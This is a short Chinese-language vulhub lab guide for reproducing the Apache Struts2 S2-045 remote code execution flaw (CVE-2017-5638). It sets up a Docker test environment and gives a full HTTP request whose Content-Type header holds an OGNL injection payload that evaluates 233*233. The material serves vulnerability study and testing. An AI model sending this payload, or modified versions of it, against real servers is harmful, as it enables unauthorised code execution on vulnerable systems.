S2-045 远程代码执行漏洞(CVE-2017-5638)

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞详情:

漏洞环境

执行如下命令启动struts2 2.3.30:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到上传页面。

漏洞复现

直接发送如下数据包,可见233*233已成功执行:

POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

Copied From: vulhub/struts2/s2-045